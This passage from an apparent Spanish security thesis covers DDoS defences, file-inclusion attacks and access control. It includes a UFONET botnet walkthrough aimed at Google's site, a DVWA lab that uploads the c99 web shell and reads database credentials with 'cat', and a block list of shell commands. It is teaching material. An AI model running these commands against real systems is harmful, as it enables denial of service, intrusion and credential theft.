gran cantidad de falsas soluciones a los puzles con direcciones de origen simulada (con o sin
enviar previamente las solicitudes falsificadas). Dado que el servidor usa algunos recursos para
verificar la respuesta, podría ser una manera de atar los recursos del servidor y denegar el
servicio. Sin embargo, la verificación del puzles es también barato para el servidor, y el atacante
necesita un gran número de agentes para hacer que el ataque sea efectivo. [20]
El único modo factible para denegar el servicio es que los agentes actúen como clientes legítimos,
enviando solicitudes de servicio válidas y proporcionando soluciones correctas para los puzles,
para así engañar al servidor. La suplantación de identidad no puede utilizarse en este ataque, ya
que el equipo agente debe recibir el puzle del objetivo para resolverlo. Si están falseadas las
solicitudes, el puzle será entregado a otro equipo y el agente no será capaz de proporcionar la
respuesta deseada.
La eliminación de la falsificación IP facilita el uso de otros medios de defensa DDoS que pueden
ayudar a este último caso. Por lo tanto, las técnicas de prueba de trabajo son mejor si se pueden
combinar con otras técnicas defensivas.
Hay varios requisitos para que los métodos de prueba de trabajo resulten prácticos y eficaces. En
primer lugar, sería bueno si el enfoque fuera transparente para los clientes y se despliega sólo
por el servidor, ya que servicios populares no tienen manera de asegurar que su amplia población
de clientes actualiza simultáneamente el software. Para estos servicios, una solución de prueba
de trabajo será práctica sólo si se puede implementar de forma unilateral
El segundo requisito es que el trabajo requerido tiene que ser igual de difícil para todos los
clientes, independientemente de su hardware. De lo contrario, un atacante que ha
comprometido una máquina potente podría ser capaz de resolver los puzles muy rápidamente, lo
85
que generaría demanda suficiente para saturar el servidor a pesar de resolver todos los puzles.
Este requisito es difícil de cumplir en el caso de los protocolos que envían puzles, porque la
resolución de puzles es una operación computacionalmente intensiva y mucho más fácil para los
procesadores potentes.
El tercer requisito establece que debe evitarse el robo o la repetición de respuestas. En otras
palabras, el mismo cliente debe hacer el trabajo. No puede guardar y reutilizar viejas respuestas,
y no puede robar la respuesta de otra persona. Las técnicas de generación de puzles, por lo
general cumplen con estos requisitos mediante la generación de puzles dependientes del tiempo,
y haciendo que dependan de la identidad del cliente.
En última instancia, los sistemas de prueba de trabajo no pueden defenderse por sí mismos de
los ataques que únicamente inundan el ancho de banda de la red. Hasta que el servidor establece
que el mensaje entrante no ha proporcionado las pruebas de trabajo necesarias para una fuente
en particular, los mensajes utilizan los recursos de la red. Por último, estas técnicas sólo
funcionan en los protocolos que involucran establecimiento de sesión (por ejemplo no se puede
en servicios UDP).
Asignación de Recursos
Una clase de protección contra ataques DDoS son los enfoques basados en la asignación de
recursos (o correcta distribución de los recursos). Esta aproximación para prevenir ataques de
denegación de servicio, se consigue mediante la asignación de una forma equitativa de los
recursos a cada cliente. Dado que el atacante necesita obtener los recursos de los usuarios
legítimos para denegar el servicio, la asignación de recursos impide que cumplan su objetivo.
Sin embargo, a menos que los esquemas de asignación de recursos se apliquen en todo Internet,
el atacante puede seguir intentando inundar el punto en el que se comprueban en primer lugar la
asignación de recursos.
Ocultación
Ninguno de los enfoques anteriores protege el servidor de ataques de sobrecarga del ancho de
banda que obstruyen los enlaces entrantes con paquetes aleatorios, creando congestión y
86
Ataques
desplazando al tráfico legítimo. La ocultación esconde la localización del servidor o del servicio,
por lo que el atacante al no conocer la forma de acceder al servidor, no puede atacar. El servidor
suele estar oculto detrás de una "pared" y las solicitudes del cliente golpean la primera vez esta
pared, y luego estos clientes tienen el reto de demostrar su legitimidad. Para validar al cliente se
puede emplear cualquier validación del origen o prueba de trabajo tal como se ha comentado
anteriormente, eso sí, la prueba de la legitimidad tiene que ser lo suficientemente confiable para
descartar a los equipos atacantes. También tiene que ser distribuido, de modo que los agentes no
puedan bloquearlo mediante el envío de demasiadas peticiones de servicio. Las peticiones de los
clientes legítimos se retransmiten al servidor a través de una red superpuesta. En un extremo, a
los clientes de confianza se les da una clave de acceso permanente que les permite tomar un
camino rápido para el servicio sin tener que proporcionar de nuevo una prueba de legitimidad.
Los enfoques de ocultación muestran una solución que parece definitiva, pero incurren en altos
costes para configurar la red superpuesta y distribuir máquinas de guardia en todo Internet.
Además, el software del cliente es probable que necesite modificaciones para hacer varias
pruebas de legitimidad. Todo esto lo hace poco práctico para la protección de los servicios
públicos, pero muy adecuado para la protección de los servidores corporativos o militares. Una
de las principales desventajas de estos esquemas es que se basan en el secreto de la dirección IP
del servidor protegido. Si se divulga este secreto, los atacantes pueden pasar por alto la
protección mediante el envío de paquetes directamente a esa dirección.
Exceso de aprovisionamiento
La mayoría de servidores emplean Linux, por tanto se van a indicar algunos de los parámetros del
kernel de Linux que resultarán muy útiles para blindar nuestro servidor en ciertas circunstancias
[21].
De esta forma, la entrada syn en el backlog (cola de conexiones pendientes) no será necesaria ya
que podrá reconstruirse a partir del número de secuencia recibido. Podremos activar las syn
cookies con:
sysctl -w net.ipv4.tcp_syncookies=1
ignore_broadcasts: Permite protegernos contra ataques Smurf donde se envían paquetes ICMP
(echo request) a una dirección broadcast con un IP origen falsificada. Dicha IP falsificada será el
objetivo del ataque al recibir múltiples paquetes de respuesta echo reply como consecuencia del
paquete broadcast enviado por el atacante. Una forma de desactivar la respuesta a las peticiones
broadcast de tipo echo ICMP es activando la siguiente opción:
sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1
rp_filter:.Se emplea para comprobar que los paquetes que entran por una interfaz son
alcanzables por la misma basándose en la dirección origen, permitiendo de esta forma detectar
IP Spoofing:
sysctl -w net.ipv4.conf.all.rp_filter=1
88
Ataques
Respecto a los ataques llevados a cabo por programas automáticos se pueden implementar
medidas haciendo uso de iptables y del módulo hashlimit con el objetivo de limitar el número de
paquetes que queremos aceptar en un determinado servicio.
Para limitar las conexiones HTTP a nuestro servidor web se puede aplicar la siguiente
configuración:
Con este comando se ejecuta la herramienta UFONET y se emplea la puerta trasera de Google
(backdoor) para realizar la búsqueda de máquinas vulnerables. En este ejemplo se ha limitado la
búsqueda a 20 máquinas vulnerables.
Como se puede observar en la imagen se procede a buscar páginas Web vulnerables que nos
sirvan para formar nuestro ejército de botnets.
89
Figura 63: Búsqueda de páginas web vulnerables mediante UFONET
En una primera aproximación se han encontrado 15 posibles zombis para nuestro ejército.
Tras esta primera comprobación, la herramienta vuelve a preguntar que si queremos proceder a
una segunda comprobación más profunda para que no tengamos falsos positivos.
90
Ataques
Tal y como se aprecia en la Figura 65 se puede ver como de los 15 zombis iniciales solo son
válidos 8 y 7 de ellos eran falsos positivos.
Por último se procede a una tercera comprobación más especifica que las 2 anteriores para
quedarnos con las maquinas totalmente vulnerables y que van a realizar su función de forma
satisfactoria. Como se puede ver en la Figura 66 nuestro ejército queda compuesto por tres
zombies.
No hay una regla única, ya que dependiendo del número inicial al que limitamos nuestra
búsqueda en el primer comando de ejecución y lo exitosa que sea la búsqueda, se contara con un
numero u otro de zombis.
Una vez formada nuestra botnet procedemos a realizar el ataque a la máquina que nos interese
obtener información. En este ejemplo se va atacar la página Web de Google.
./ufonet –a https://www.google.com –r 3
El parámetro –r nos indica el número de rondas que queremos que cada zombi realice el ataque.
En este caso habrá tres rondas por cada uno de los tres zombis que componen la botnet, es decir,
un total de nueve intentos.
91
Se ha realizado el ataque a la Web de Google porque es una Web muy preparada y con esta
acción no le vamos hacer ni cosquillas no obstante solo se ha ejecutado una ronda para visualizar
como se completa este proceso, ya que ejecutar estos ataques es una práctica penada por ley.
En la imagen se puede observar la primera ronda de este ataque y como el status tiene el valor
hit (golpeado), lo que indica que ha tenido éxito y está realizando el ataque de forma
satisfactoria.
Con este ejemplo ha quedado demostrada la facilidad con la que una persona sin amplios
conocimientos podría ejecutar un ataque tan dañino como la formación de una botnet
simplemente utilizando una herramienta que está al alcance de todos.
4.5.1 Introducción
La inclusión de archivos es otra forma común de ataque web, en la que los atacantes, cambian un
parámetro en un archivo de solicitud para incluir otros archivos en el sistema de archivos del
servidor víctima o desde un servidor remoto.
92
Ataques
La principal característica de una página web vulnerable a Local File Inclusion es la navegación
por la estructura de directorios del servidor. En este caso, a través de la vulnerabilidad es posible
visualizar el contenido de los ficheros.
Toda la información sobre usuarios, grupos y contraseñas se guarda en los archivos [22]:
Fichero /etc/passwd
Fichero /etc/group
93
lista_usuarios: lista de usuarios que pertenecen al grupo separados por comas. También
se pueden añadir usuarios de otros grupos, con lo que tendrían todos los privilegios de
este grupo
Fichero /etc/shadow
Fichero /etc/gshadow
Al contrario que en la mayoría de técnicas de ataques existentes, esta técnica debe comprobarse
de forma manual. El programador debe comprobar que ninguna de las sentencias include o
require utilicen variables que no son confiables, es decir, que el usuario pueda modificar, como
son GET o POST. Si hay variables no confiables en los campos include o require, hay muchas
posibilidades de que el sitio web presente este tipo de vulnerabilidad.
En una aplicación web, el desarrollador puede incluir código almacenado en un servidor remoto o
desde un archivo almacenado localmente en el servidor. El hacer referencia a archivos que no
sean los de la raíz, principalmente se emplea para la combinación de código común en archivos
que luego pueden ser referenciados por la aplicación principal.
LFI (Local File Inclusion) es una vulnerabilidad web que permite al atacante ejecutar
archivos de forma local en el servidor y tener acceso a archivos delicados, como el de
configuración, nombres de usuario o contraseñas. Esta vulnerabilidad se observa siempre
en páginas webs que incluyen un archivo pasado por GET o POST sin realizar una
validación adecuada del contenido.
94
Ataques
RFI (Remote File Inclusion) es una técnica de ataque que explota el mecanismo de
inclusión de archivo cuando el programador no es cuidadoso y se hace referencia al
código externo dirigido por la entrada del usuario sin ser validada adecuadamente. Esta
vulnerabilidad existente solamente en páginas dinámicas programadas en PHP y permite
el enlace de archivos remotos situados en otros servidores. Esto puede dar lugar a que la
aplicación sea engañada para ejecutar un script desde un servidor remoto bajo el control
del atacante. PHP es el más ampliamente atacado en lo que respecta a esta
vulnerabilidad, pero este defecto no se limita a PHP.
La función include() del lenguaje PHP es la que permite que el programador referencie código
desde un servidor remoto, ya que es utilizada para incluir en una misma página otras páginas a la
vez, ya sea por la necesidad de utilizar un código fuente o por otras diversas razones de
programación.
Aparte de esta directiva, también existe la directiva allow_url_fopen, que controla si se pueden
pasar direcciones Web a la función fopen(), y que también debe estar desactivada para evitar
este tipo de ataques.
El mecanismo de protección más común contra los ataques de RFI es el basado en firmas de
vulnerabilidades, conocidas como firewall de aplicación Web (WAF).La detección y bloqueo de
este tipo de ataques pueden mejorarse mediante la creación de una lista negra de las fuentes de
ataques y una lista negra de URLs de scripts maliciosos.
El conocimiento avanzado de las fuentes de ataques RFI permite bloquear un ataque antes de
que comience.
Una lista negra de referencia de URLs permite a la WAF bloquear exploits dirigidos a explotar
vulnerabilidades en aplicaciones. Una lista negra de direcciones IP construida a partir de las
observaciones de ataques RFI, podría utilizarse para bloquear a otros tipos de ataques emitidos
desde las mismas fuentes maliciosas.
Se puede emplear como en el resto de ataques mod_security. Dependiendo del tipo de ataque,
mod_security define una serie de reglas para evitar los efectos producidos por estos ataques.
Para ver el aspecto que tienen este tipo de reglas, en el caso de RFI se van a mostrar las reglas
que se definen dependiendo del caso, y que son las siguientes:
95
La URL contiene una dirección IP
Una regla para detectar tal condición debe buscar el patrón (ht|f)tps?:\/\/ seguido de una
dirección IP. Esta es la regla de OWASP CRS [23]:
Funciones PHP
Otra técnica es el uso de funciones internas PHP tales como include() para tratar de engañar a la
aplicación e incluir datos de un sitio externo.
Una regla para detectar una condición como esta, debe buscar por include seguido por
(ht|f)tps?:\/\/. He aquí una regla Mod_security para detectar esto[23]:
El añadir signos de interrogación al final de la inyección RFI es una técnica común. Es algo similar
a la inyección SQL utilizando especificadores de comentario (--, ;--, o #) al final de la inyección.
Una regla para detectar tal condición debe buscar (ft|htt)ps?.*\?$. En la imagen se observa una
regla mod_security para detectarlo [23]:
96
Ataques
Protección Shell
Aparte de aplicar las medidas anteriormente mencionadas, como se verá en la parte práctica, un
ataque muy común es la subida de una Shell en la que poder introducir comandos para
apoderarse de la máquina y obtener información de la misma.
Estos son algunos comandos comunes, nombres de programas y caminos del sistema Linux que
deberían bloquearse:
o rm
o ls
o kill
o mail
o sendmail
o cat
o echo
o /bin/
o /etc/
o /tmp/
Este fichero determina quién puede acceder al sistema y los privilegios que se tienen una vez
dentro del sistema. Es la primera línea de defensa contra accesos no deseados. Debe de
mantenerse libre de errores y fallos de seguridad, ya que están registradas las cuentas de
usuarios, así como las claves de accesos y privilegios.
97
Figura 70: Visualización del fichero etc/passwd de la página web victima
En este fichero se encuentran los nombres de los grupos y una lista de los usuarios que
pertenecen a cada grupo, por lo que es fundamental que su contenido se mantenga seguro.
Un ataque típico LFI o RFI es la subida de una Shell a la página web víctima. Una Shell es un
intérprete de comandos donde se ejecutan instrucciones que permiten al usuario comunicarse
con el núcleo y en consecuencia, ejecutar dichas órdenes, así como herramientas que le permiten
controlar el funcionamiento de la computadora.
Para este ejemplo se ha utilizado DVWA y una conocida Shell, la Shell c99. Aparte de ésta, existen
muchas otras que se pueden descargar de forma gratuita, al igual que cada usuario si lo desea
puede crearse su propia Shell.
98
Ataques
Una vez seleccionada se sube mediante el botón upload y nos aparece lo siguiente:
Seleccionamos nuestra Shell (c99.php) y se nos abre la pantalla principal con las distintas
opciones como se aprecia en la Figura 75.
99
Una vez hemos conseguido subir la Shell, debemos obtener el nombre de la base de datos, el
usuario y la contraseña. Para ello vamos ejecutar la siguiente instrucción:
system("cat /var/www/html/dvwa/config/config.inc.php");
100
Ataques
Una vez tenemos estos datos ya podemos realizar las operaciones que nos parezcan oportunas.
En este caso voy acceder con las credenciales obtenidas en el paso anterior y voy añadir un
usuario.
En la Figura 80 puede observarse el usuario que se ha creado. Como puede intuirse, el poder
subir una Shell es un ataque muy peligroso ya que se pueden añadir, modificar o borrar la
información que nos plazca.
101
Figura 79: Resultado de la creación de un nuevo usuario
Como ha quedado demostrado con estos ejemplos prácticos, es fundamental tener bien
protegidos los ficheros con información sensible del sistema ya que sino un atacante podría tener
acceso a información relevante y que pondría en riesgo la seguridad.
Aparte de la protección concreta detallada para cada tipo de ataque, ya sean los nombrados en
este proyecto o cualquier otro, hay que tomar medidas generales de seguridad. Estas medidas son
las que se explican a continuación.
Una vez hemos indicado al sistema quienes somos, mediante la autenticación de la identidad, el
servicio se asegura de que el usuario es quien dice ser. El caso típico es introducir el usuario
(identificación) y poner la contraseña correspondiente (autentificación).
102
Ataques
Contraseña
Las contraseñas deben guardarse en un fichero inaccesible para los usuarios no administradores. Y
a su vez, el administrador, en cuya responsabilidad recae parte de la seguridad en este caso, debe
ser muy cauto para que no haya problemas de robo de contraseñas.
Las contraseñas deben estar guardadas en un sitio seguro dentro del sistema de la base de datos
de quien identifica. Así pues, una opción muy extendida es que, junto con la información del
usuario no se guarda la contraseña sino un resumen de ésta. Por lo que, cuando un usuario
introduce una contraseña, no se comprueba que la contraseña coincida con la almacenada, sino
que se comprueba que el resumen de la contraseña coincide con el resumen almacenado de la
contraseña. Para realizar el resumen se suele usar una función criptográfica unidireccional de
resumen.
Pero hay un último tipo de problema que se debe tener en cuenta a la hora de autenticarse
mediante contraseña: un atacante podría tener instalado un programa en el equipo del cliente que
registrara todas las pulsaciones de teclado para luego mandarlas al atacante y proceder a su
análisis. A este software se le denomina keylogger y su objetivo es registrar todo lo que teclea el
usuario del sistema donde está instalado, con fines de usurpar las contraseñas. En muchos
servicios va siendo habitual pedir al usuario que utilice el ratón en lugar del teclado para introducir
una contraseña, tal como se ve en la Figura 82. En este caso, los caracteres para escribir la
contraseña irán cambiando de posición a cada acceso de autenticación.
103
Figura 81: Entrada de PIN mediante el ratón para evitar posibles keyloggers
Certificados electrónicos
Representan otra forma de autenticación ante un servicio. Los sistemas de criptografía de clave
pública se basan en el uso de dos claves: la clave privada, que sólo conoce el propietario, y la clave
pública, la cual, como su nombre indica, puede ser conocida por otras entidades sin que esto
tenga consecuencias en la seguridad del sistema. En cambio, la clave privada debe estar
perfectamente custodiada. Los matemáticos, criptógrafos y organismos han propuesto sistemas y
estándares de sistemas de clave pública. Estos criptosistemas están basados en funciones
matemáticas que permiten realizar una operación en un sentido fácilmente, pero su inversa no es
posible computacionalmente calcularla sin una información extra. Es decir, con la clave pública se
realiza una operación que únicamente se puede invertir con la clave privada, y viceversa.
Para dar confidencialidad a un mensaje que A (emisor) envía a B (receptor), es decir, que ningún
otro usuario pueda conocer el contenido del mensaje, A usará la clave pública de B (que cualquier
usuario puede obtener). Cuando B reciba el mensaje, usará su correspondiente clave privada para
acceder a su contenido. Es recomendable que la clave privada esté protegida y sea necesario
proporcionar una contraseña para acceder a ella.[24]
Para dar autenticidad a un mensaje que A manda a B, lo que se conocería como firma electrónica.
A usa su clave privada para firmar el mensaje, esta operación solo la puede realizar el poseedor de
la clave privada. Cuando B reciba el mensaje comprobará la validez de la firma. En primer lugar
deberá obtener la clave pública de A, y a continuación realizará la operación inversa a la firma
(verificación).[24]
Por otro lado asegurar que una clave pública corresponde a una entidad se lleva a cabo mediante
un certificado electrónico. El objetivo de un certificado electrónico (o digital) es dar fe de la
vinculación de una clave pública a una identidad, como un usuario o un servicio. Las autoridades
de certificación son las encargadas de expedir certificados de clave pública y disponen de una
plataforma telemática (infraestructura de clave pública, PKI) que permite generar y gestionar
claves y certificados.
En la Figura 83 se puede ver un certificado emitido por la Fábrica Nacional de Moneda y Timbre-
Real Casa de la Moneda (FNMT-RCM).
104
Ataques
Cuando nos conectamos a un sitio web seguro (identificado mediante HTTPS10) tiene lugar una
comunicación entre cliente y servidor destinada a crear un canal de comunicación seguro.
En resumen los mensajes que se transmiten cuando un cliente se conecta a un servicio HTTPS
autenticado mediante un certificado de servidor [24]:
• Hello request. El servidor manda este mensaje al cliente (el navegador web) para iniciar la
securización.
• Client hello. El cliente responde, dando una serie de información, como por ejemplo qué
algoritmos criptográficos soporta (el servidor tendrá que acomodarse ante una variedad
de software cliente con distintas versiones y sistemas operativos).
• Server hello done. A partir de este mensaje se intercambian las claves criptográficas y
empieza la comunicación segura.
Token
105
habituales son los que se conectan al puerto USB, aunque también los hay que usan una conexión
Bluetooth o simplemente no precisan de conexión al equipo.
Cada contraseña solo aparece en la pantalla durante unos segundos. Después se genera una nueva
contraseña y la anterior vence. Esto proporciona una autentificación de "dos factores" que
maximiza la seguridad.
Una vez identificado y autenticado, el usuario se encuentra dentro del sistema y es necesario
definir una política de control de acceso a los recursos del sistema. El desarrollo de un sistema de
control de acceso suele tener las tres fases siguientes que se aprecian en la Figura 85 [24]:
106
Ataques
Antes de continuar, se introducirán los términos sujeto y objeto. Cuando hablemos de un sistema
informático y particularmente hablando de control de acceso, mencionaremos frecuentemente los
términos sujeto y objeto, elementos sobre los que se aplicará dicho control. [25]
- Sujetos: Los sujetos del sistema son los usuarios, procesos, programas o hilos que operan
sobre los recursos del dispositivo.
- Objetos: referiremos como objetos los recursos del sistema como ficheros, directorios,
servicios, dispositivos de entrada/salida, puertos TCP/UDP, etc.
Basándonos en las restricciones y control de acceso a sistemas, encontramos tres tipos principales:
107
Control de Acceso Obligatorio (MAC)
Las políticas son evaluadas de forma centralizada por una autoridad (en el caso de un sistema
operativo, el encargado estaría en el núcleo del mismo). Típicamente se usan sistemas de
seguridad multinivel basados en clasificaciones de los sujetos y los objetos del sistema, es decir, se
clasifican sujetos y objetos en niveles de seguridad. Todos los sujetos y objetos tienen asignada
una clase de acceso, denominada coloquialmente etiquetas ordenadas. Es responsabilidad de un
usuario privilegiado establecer las políticas centrales MAC que gobernarán los controles a aplicar
según el etiquetado establecido. La clase de acceso asociada a un objeto indica la sensibilidad de la
información contenida en el objeto y la confianza que se tiene en que el sujeto no revele
información sensible a sujetos sin autorización. [26]
Así pues, el control de acceso obligatorio equivaldría a la restricción de acceso a objetos basada en
la sensibilidad de la información contenida en los objetos y la autorización formal de los sujetos
para acceder a una información de ese nivel de sensibilidad.
Una de las formas más comunes de definir los permisos que tiene cada sujeto sobre cada objeto es
el modelo de matriz de acceso. Recibe el nombre de modelo de matriz de acceso porque usa una
matriz para codificar el estado del acceso a los recursos en todo momento. En la Figura 87 se
puede observar un ejemplo.
108
Ataques
Lista de control de acceso (ACL). Una lista por cada objeto. Indica las operaciones que cada sujeto
puede hacer. Son listas enlazadas que representan la matriz de acceso por columnas. De este
modo, dado un determinado objeto (por ejemplo, el Archivo2) se puede determinar si un sujeto
(por ejemplo, Bernardo) tiene permiso para realizar alguna acción sobre el (por ejemplo, leerlo). El
concepto de ACL permite un control más preciso que los permisos del archivo por sí solos, al dar al
propietario de un objeto la capacidad de conceder o denegar accesos usuario por usuario. La
Figura 88 muestra la lista de control de acceso para el Archivo2 según la matriz de acceso de
ejemplo de la primera tabla de nuestro ejemplo. [24]
En el caso concreto de sistemas UNIX/Linux, los objetos del sistema (ficheros, directorios, etc)
cuentan con ternas de atributos de lectura (r), escritura (w), y ejecución(x). Los permisos de acceso
están agrupados en tres tripletas, que representan las operaciones permitidas al propietario del
fichero, a los usuarios del grupo al cual pertenece el fichero, y a todos los demás usuarios. [25]
109
El comando habitual que permite cambiar los permisos de acceso de un fichero o directorio en
Linux es chmod. Un ejemplo en el que se asignan permisos de lectura a todos los usuarios del
fichero que se llama archivo.txt es el siguiente:
chmod +r archivo.txt
Con chmod indicamos los privilegios respecto al propietario del fichero o al grupo al que
pertenece, y en general con este comando es suficiente para la mayoría de los casos. No obstante
si queremos una manera más flexible y personalizable de asignación de permisos se recurre a las
ACLs.
Aquí podemos ver el nombre del fichero el propietario el grupo y luego, lo que más nos interesa,
los permisos del propietario (user::rw-), los permisos del grupo(group::r–) y los de los otros
(other::r–).
Ahora si queremos que, por ejemplo, nuestro usuario ‘pepe’ tenga permisos de escritura, lectura y
ejecución sobre el archivo ‘fichero’ usaremos el comando setfacl:
110
Ataques
Ahora en la nueva ACL podemos ver que el usuario pepe tiene permisos rwx y que el propietario
tiene sólo rw-, cosa que solamente con chmod es imposible de conseguir, ya que un usuario que
no pertenece al grupo ni es propietario tiene más privilegios que el propietario y eso sólo se
consigue a través de las ACLs.
Lista de capacidades. Una lista por cada sujeto. Indica las operaciones que puede hacer sobre cada
objeto. Son listas enlazadas que representan la matriz de acceso por filas. De este modo, dado un
determinado sujeto (por ejemplo, Bernardo) se puede determinar si puede realizar una acción
(por ejemplo, Ejecución) sobre un determinado objeto (por ejemplo, el Ejecutable1). La Figura 92
muestra la lista de capacidades de Bernardo según la matriz de acceso de ejemplo de la primera
tabla. [24]
El control de acceso basado en roles consiste en la definición de perfiles (roles) a los que se les
atribuyen una serie de características que aplican sobre los permisos y acciones que pueden llevar
a cabo. Cada sujeto del sistema tiene un rol asignado y puede realizar todas aquellas acciones para
las que su rol tiene privilegios. Es muy utilizado en organizaciones con gran número de usuarios y
donde se integran distintos grupos de trabajo o departamentos con funciones diferenciadas. El
modelo de control de acceso basado en roles es lo suficientemente flexible como para funcionar
como el control de acceso obligatorio y el control de acceso discrecional. En realidad podemos
considerar que tanto el modelo MAC como el DAC son casos particulares del modelo RBAC. [26]
Una VPN es un servicio que permite el acceso remoto a la red interna de la organización y a los
recursos corporativos, como pueden ser el correo electrónico o el servidor de ficheros.
Simplificándolo, una VPN establece un túnel virtual entre la red origen y la red destino y permite
que se pueda trabajar como si estuviésemos virtualmente en la misma ubicación, pudiendo así,
compartir y acceder a los recursos de las ubicaciones.
111
Figura 92: Escenario acceso remoto con VPN
Los dos protocolos más extendidos en el uso de VPN son IPSEC y SSL. Previamente en el capítulo 4
ya se comentó en qué consiste SSL por lo que se va introducir brevemente IPSEC para comprender
mejor el concepto de VPN.
1. IKE (Internet key exchange): Se emplea para negociar los métodos de encriptación, claves
y autenticación que se usaran entre los dispositivos de la red.
Las medidas adicionales que se deben tomar para que la VPN tenga la máxima efectividad se
pueden resumir en lo siguiente [27] :
- Identificación del usuario: las VPN deben verificar la identidad de los usuarios y restringir
su acceso a aquellos que no se encuentren autorizados.
- Cifrado de datos: los datos que se van a transmitir a través de la red pública (Internet),
antes deben ser cifrados, para que así no puedan ser leídos si son interceptados
- Administración de claves: las VPN deben actualizar las claves de cifrado para los usuarios.
112
Ataques
Firewall
Es una herramienta de software o hardware que tiene como propósito filtrar las conexiones que
ingresan a la red interna de la organización conforme a las políticas de seguridad de la
organización o corporación, así como también las conexiones de red que se dirigen hacia el
exterior de la misma. De esta manera, evita que usuarios de Internet que no han sido autorizados
para ingresar a la red de la empresa puedan tener acceso a la misma o que miembros de la
organización accedan a servicios externos para los cuales no han sido autorizados.
El firewall opera como un filtro que examina todos los paquetes que se dirigen hacia la red
corporativa y compara la información del encabezado con reglas previamente establecidas. Todos
los sistemas conectados en una red tienen una dirección IP y a su vez, cada sistema operativo
posee unos puertos lógicos. Esto quiere decir que, al contrario que los puertos físicos (USB, HDMI,
etc.) solo existen virtualmente para el ordenador. Los sistemas operativos tienen más de 65.000
puertos virtuales disponibles para abrir conexiones y se las ceden a los programas para que
vuelquen sus datos en la red.
Si la dirección IP y el puerto son válidos de acuerdo con las reglas, el paquete es entregado, en
caso contrario se desecha. La misma operación es realizada con los paquetes que son enviados
desde interior hacia Internet. Por lo tanto, al desechar paquetes que no están permitidos y en
consecuencia evitar conexiones que no son válidas de acuerdo a las reglas, el firewall puede evitar
la propagación de códigos maliciosos a través de la red, accesos no autorizados o posibles
intrusiones de terceros a la red corporativa.
• Enfoque permisivo
• Enfoque restrictivo
113
Si se emplea un enfoque permisivo, se aceptan todas las conexiones, excepto aquellas que están
explícitamente restringidas, es decir, permiten que todos los servicios puedan utilizarse por
defecto, con la excepción de aquellos a los cuales las políticas de acceso identifican como no
admisibles.
Si se aplica un enfoque restrictivo, todas las conexiones son bloqueadas excepto aquellas que
están explícitamente permitidas, es decir, se prohíben el uso de todos los servicios por defecto,
pero deja utilizar aquellos que han sido identificados como permitidos. Este último tipo de política
es el que sigue el clásico modelo de acceso usado en áreas de alta seguridad. La política del primer
modelo es siempre menos deseable pues ofrece, de alguna manera, la posibilidad de evadir el
firewall, por ejemplo utilizando servicios no autorizados en puertos no estándares.
IDS/IPS
Tanto un IDS (Intrusion Detection System) como un IPS (Intrusion Prevention System) son
herramientas para detectar y prevenir accesos no autorizados a un equipo o a una red.
Monitorizan el tráfico para determinar y prevenir comportamientos sospechosos. En muchas
ocasiones un firewall no es suficiente, y por este motivo estas dos herramientas se integran con
frecuencia con el firewall para proteger la red y los accesos no autorizados.
Un IDS es un programa usado para detectar accesos no autorizados a un computador o a una red.
Está diseñado para monitorear toda la actividad de red entrante y saliente e identificar los
patrones sospechosos que podrían indicar un ataque a una red o sistema por parte de alguien que
estuviera intentando entrar o comprometer el sistema [29]. Se basa en el análisis pormenorizado
del tráfico de red, el cual al entrar al analizador es comparado con firmas de ataques conocidos, o
comportamientos sospechosos, como puede ser el escaneo de puertos, paquetes malformados,
etc. El IDS no sólo analiza qué tipo de tráfico es, sino que también revisa el contenido y su
comportamiento. IDS se considera un sistema de vigilancia pasiva, ya que su función principal es
advertir de la actividad sospechosa que tiene lugar, pero no prevenir. Un IDS revisa esencialmente
el tráfico de red y los datos e identificará ataques, exploit y otras vulnerabilidades. Disponen de
una base de datos de firmas de ataques conocidos y dichas firmas permiten al IDS distinguir entre
el uso normal del PC y el uso fraudulento, y/o entre el tráfico normal de la red y el tráfico que
puede ser resultado de un ataque o intento del mismo. IDS puede responder al evento sospechoso
de varias maneras, como son la presentación de una alerta, registrar el evento o incluso avisar al
administrador. [29]
En cuanto a lo que se refiere a la localización donde deberían situarse dentro de una organización
y el papel que deberían desempeñar en cada caso sería el siguiente:
114
Ataques
- Zona roja: Esta es una zona de alto riesgo. En esta zona el IDS debe ser configurado para
ser poco sensible, puesto que vera todo el tráfico que entre o salga de nuestra red y habrá
más posibilidad de falsas alarmas.
- Zona verde: El IDS debería ser configurado para tener una sensibilidad un poco mayor que
en la zona roja, puesto que ahora, el firewall deberá ser capaz de filtrar algunos accesos
definidos mediante la política de nuestra organización. En esta zona aparece un menor
número de falsas alarmas que en la zona roja, puesto que en este punto solo deberían
estar permitidos accesos hacia nuestros servidores.
- Zona azul: Esta es la zona de confianza. Cualquier tráfico anómalo que llegue hasta aquí
debe ser considerado como hostil. En este punto de la red se producirán el menor número
de falsas alarmas, por lo que cualquier alarma del IDS debe de ser inmediatamente
estudiada. [30]
Aparte de estas ubicaciones que se han comentado también sería altamente recomendable tener
también otros IDS en la red interna para evitar posibles ataques desde dentro.
115
Figura 94: Localización de un IPS
El IPS se encuentra a la entrada de la red, pudiendo observar todo el tráfico de red, de tal forma
que sea capaz de avisar/prevenir lo antes posible. Combinando esto con la configuración de la
Figura 80 y el uso correcto del firewall seria la configuración deseable para el control perimetral.
116
Conclusiones
5 Conclusiones
Es una evidencia que vivimos en un mundo en el que la tecnología juega un papel fundamental
en nuestras vidas. Gran parte de la población emplea un ordenador, tablet o smartphone
diariamente para conectarse a internet con los riesgos que esto conlleva.
Las vulnerabilidades son consecuencia directa de fallos en el diseño de los sistemas, limitaciones
tecnológicas o fruto del desconocimiento. Para combatir el hacking y poder garantizar la
seguridad de la información se tienen que tener en cuenta muchos factores, empezando por el
código fuente en el que se desarrolla la aplicación web. Como se ha comentado existen políticas y
directivas de seguridad que hay que emplear a la hora de ponerse a codificar y no solo fijarse si la
aplicación funciona correctamente. Por tanto la tarea de un programador de aplicaciones web
debe ser la de minimizar los riesgos intentando garantizar en la medida de lo posible la integridad
del propio sitio web y de la información que este almacena.
117
software como los mencionados y realizar una correcta distribución de los permisos a cada
usuario en la organización.
118
Referencias
6 Referencias
[7] Justin Clarke, SQL Injection Attacks and Defense, 2nd Edition
[10] Paul Dubois, Using Prepared Statements and Placeholders in Queries - MySQL Cookbook
[11] Juned Ahmed Ansari, Exploiting Clients Using XSS and CSRF Flaws - Web Penetration Testing
with Kali Linux - Second Edition
[12] Thomas Myer, Michael Southwell and Chris Snyder, Preventing XSS - Pro PHP Security_ From
Application Security Principles to the Implementation of XSS Defenses, Second Edition
[13] Magnus Michel, Blocking Common Attacks using ModSecurity 2.5: Part 2
